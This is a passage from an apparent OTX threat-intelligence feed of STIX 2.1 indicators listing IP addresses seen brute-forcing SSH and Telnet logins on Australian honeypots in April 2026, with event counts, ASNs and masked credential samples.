      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T06:15:03.000Z",
      "valid_until": "2026-05-18T06:15:01.000Z"
    },
    {
      "created": "2026-04-16T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--39daf3e5-1325-4ee6-a828-8df44e70e204",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.225.101.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T06:15:03.000Z",
      "valid_until": "2026-05-18T06:15:01.000Z"
    },
    {
      "created": "2026-04-16T07:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137120. Organisation(s): Nas Internet Services Private Limited.",
      "id": "indicator--e4dabd0e-28a3-493a-baf4-cb3f71c27750",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.206.103.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T07:15:04.000Z",
      "valid_until": "2026-05-18T07:15:02.000Z"
    },
    {
      "created": "2026-04-16T07:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--a5f40534-3c85-471b-b675-00700c615855",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.77.235.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T07:15:04.000Z",
      "valid_until": "2026-05-18T07:15:02.000Z"
    },
    {
      "created": "2026-04-16T07:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--829191e5-fd48-4009-9de3-0d1ffbb6d11d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T07:15:04.000Z",
      "valid_until": "2026-05-18T07:15:02.000Z"
    },
    {
      "created": "2026-04-16T07:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--ec9dc9b8-d752-43e9-b5a1-dacc46bc7d4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T07:15:04.000Z",
      "valid_until": "2026-05-18T07:15:02.000Z"
    },
    {
      "created": "2026-04-16T07:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--dfeac12a-6ef5-48d3-a0ff-7657fb397b79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T07:15:04.000Z",
      "valid_until": "2026-05-18T07:15:02.000Z"
    },
    {
      "created": "2026-04-16T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--994ddbdc-d2a2-498e-84d0-fa6946b17a12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T07:15:04.000Z",
      "valid_until": "2026-05-18T07:15:02.000Z"
    },
    {
      "created": "2026-04-16T08:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--97690a5d-ca7f-4bb4-9958-3366cc258327",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.179.247.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T08:15:14.000Z",
      "valid_until": "2026-05-18T08:15:02.000Z"
    },
    {
      "created": "2026-04-16T08:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 23. Source country: KH. ASN(s): 24492. Organisation(s): WiCAM Corporation Ltd.. Usernames observed (masked): a***n, r**t. Passwords observed (masked): 1**4, t***t.",
      "id": "indicator--4c562dc1-ab51-4f33-84fb-7d26e5ecbbe6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.79.26.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T08:15:14.000Z",
      "valid_until": "2026-05-18T08:15:02.000Z"
    },
    {
      "created": "2026-04-16T08:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--cdf128d0-f876-4cde-9245-e8980ec2fb32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.79.154.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T08:15:14.000Z",
      "valid_until": "2026-05-18T08:15:02.000Z"
    },
    {
      "created": "2026-04-16T09:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--ca45eeab-ae3d-4014-b5ff-ce5b2f648771",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T09:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T09:15:04.000Z",
      "valid_until": "2026-05-18T09:15:01.000Z"
    },
    {
      "created": "2026-04-16T09:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 576. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, u**r, s*****t, c***o. Passwords observed (masked): 1**4, 1****6, a***n, P******d, a****3.",
      "id": "indicator--2612a6af-f9ed-4e47-a721-3275aa856bb1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T09:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.4.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T09:15:04.000Z",
      "valid_until": "2026-05-18T09:15:01.000Z"
    },
    {
      "created": "2026-04-16T09:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 438. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, d*******r, t**t, 1**4. Passwords observed (masked): a***n, 1***5, 1****6, a******3, p******d.",
      "id": "indicator--7bcd7d11-1a62-49f6-b71f-48b9b4ab32f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T09:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.46.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T09:15:04.000Z",
      "valid_until": "2026-05-18T09:15:01.000Z"
    },
    {
      "created": "2026-04-16T09:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--c7adbd1b-4cfe-4f29-9909-cce8ebea212c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T09:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '60.250.214.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T09:15:04.000Z",
      "valid_until": "2026-05-18T09:15:01.000Z"
    },
    {
      "created": "2026-04-16T09:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--3cc7ea66-e156-494a-bd1c-17691371e217",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T09:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T09:15:04.000Z",
      "valid_until": "2026-05-18T09:15:01.000Z"
    },
    {
      "created": "2026-04-16T10:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--e6657178-5424-43f2-80c7-3ab4cbd5f134",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T10:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.159.55.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T10:15:04.000Z",
      "valid_until": "2026-05-18T10:15:01.000Z"
    },
    {
      "created": "2026-04-16T10:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 216039. Organisation(s): EdgeSec Technologies Limited. Usernames observed (masked): r**t, ***, g***t, h****p, m***l. Passwords observed (masked): ***, 1**4, 1*****7, ***, g***t.",
      "id": "indicator--4fcf06f6-3bf3-43c5-a1ea-32ce7e5a282d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T10:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.31.220.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T10:15:04.000Z",
      "valid_until": "2026-05-18T10:15:01.000Z"
    },
    {
      "created": "2026-04-16T10:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 138. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, u****u, 3**********4, l****n, r********n. Passwords observed (masked): 1****6, 1*******Z, 1**********#, 2******2, 3***********4.",
      "id": "indicator--3d7c2e42-e2c0-4bce-b8ff-3e9292667dd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T10:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.110.116.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T10:15:04.000Z",
      "valid_until": "2026-05-18T10:15:01.000Z"
    },
    {
      "created": "2026-04-16T10:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 178. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 23563. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, ***, 3**********4, f****e, ***. Passwords observed (masked): 1**$, 1****6, 1******8, 1**********p, 3***********4.",
      "id": "indicator--7fc061d1-3deb-4d3d-bcbc-c11797c3feb9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T10:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.119.7.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T10:15:04.000Z",
      "valid_until": "2026-05-18T10:15:01.000Z"
    },
    {
      "created": "2026-04-16T10:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--db787301-9c02-42df-ba2f-67af6f8de11d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T10:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '40.124.174.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T10:15:04.000Z",
      "valid_until": "2026-05-18T10:15:01.000Z"
    },
    {
      "created": "2026-04-16T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, 5***************O, h******!, r********6.",
      "id": "indicator--91b833db-7e7a-43e2-9317-6d3ec0cedbc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.80.14.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T11:15:03.000Z",
      "valid_until": "2026-05-18T11:15:01.000Z"
    },
    {
      "created": "2026-04-16T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--0685144a-b57b-4a77-ae01-fd2d964eed38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.74.133.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T11:15:03.000Z",
      "valid_until": "2026-05-18T11:15:01.000Z"
    },
    {
      "created": "2026-04-16T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--2a90d400-c1bf-43f1-bb19-ddad8f64233e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T11:15:03.000Z",
      "valid_until": "2026-05-18T11:15:01.000Z"
    },
    {
      "created": "2026-04-16T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 90. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--9d7ccbb5-2474-428f-96bc-b54b1eed1c9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '221.200.214.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T11:15:03.000Z",
      "valid_until": "2026-05-18T11:15:01.000Z"
    },
    {
      "created": "2026-04-16T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--56662257-dd12-49ed-a455-7f9287d89125",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T11:15:03.000Z",
      "valid_until": "2026-05-18T11:15:01.000Z"
    },
    {
      "created": "2026-04-16T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t, 3**********4, d****y, d******r, ***. Passwords observed (masked): 1******v, 1******R, ***, 3***********4, 3**********4.",
      "id": "indicator--cb907d6d-988d-4fc2-b5f2-d1befecafbf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.30.40.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T12:15:04.000Z",
      "valid_until": "2026-05-18T12:15:02.000Z"
    },
    {
      "created": "2026-04-16T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t, 3**********4, a***n, s*****c, t**p. Passwords observed (masked): 1****#, 1******?, 1**********E, 3***********4, 3**********4.",
      "id": "indicator--4a49338e-e1c4-447a-9511-9f2136996580",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '107.174.62.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T12:15:04.000Z",
      "valid_until": "2026-05-18T12:15:02.000Z"
    },
    {
      "created": "2026-04-16T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia.",
      "id": "indicator--3f010d79-bdf0-4d28-ad86-a0cba9fca2fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.193.191.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T12:15:04.000Z",
      "valid_until": "2026-05-18T12:15:02.000Z"
    },
    {
      "created": "2026-04-16T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network.",
      "id": "indicator--fbe61c6e-5f99-4cd4-a65f-c387f4d8f942",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.50.213.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T12:15:04.000Z",
      "valid_until": "2026-05-18T12:15:02.000Z"
    },
    {
      "created": "2026-04-16T12:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--88f3856c-9513-4096-8b07-781ab468965b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.135.59.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T12:15:04.000Z",
      "valid_until": "2026-05-18T12:15:02.000Z"
    },
    {
      "created": "2026-04-16T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, 3**********4, d****s, d****r, ***. Passwords observed (masked): 3***********4, 3**********4, C********6, P*********!, R***********..",
      "id": "indicator--6237c2e0-1d94-40b5-a836-5e27bea0806d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '156.227.233.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T12:15:04.000Z",
      "valid_until": "2026-05-18T12:15:02.000Z"
    },
    {
      "created": "2026-04-16T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 3132. Organisation(s): Red Cientifica Peruana. Usernames observed (masked): r**t, 3**********4, s****r, d****y, f****e. Passwords observed (masked): 3***********4, 3**********4, 1******v, 1******R, **.",
      "id": "indicator--8aa438dc-9c50-48a1-8286-6072217c951d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '161.132.39.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T12:15:04.000Z",
      "valid_until": "2026-05-18T12:15:02.000Z"
    },
    {
      "created": "2026-04-16T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--889d01bc-c7a5-4179-be83-7022715816be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T12:15:04.000Z",
      "valid_until": "2026-05-18T12:15:02.000Z"
    },
    {
      "created": "2026-04-16T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 215439. Organisation(s): Play2go International Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--def363bf-a6e9-4496-bca8-334e19f80108",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.26.81.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T12:15:04.000Z",
      "valid_until": "2026-05-18T12:15:02.000Z"
    },
    {
      "created": "2026-04-16T12:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--8377b022-ba63-4872-aad7-59dda4df8757",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.52.192.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
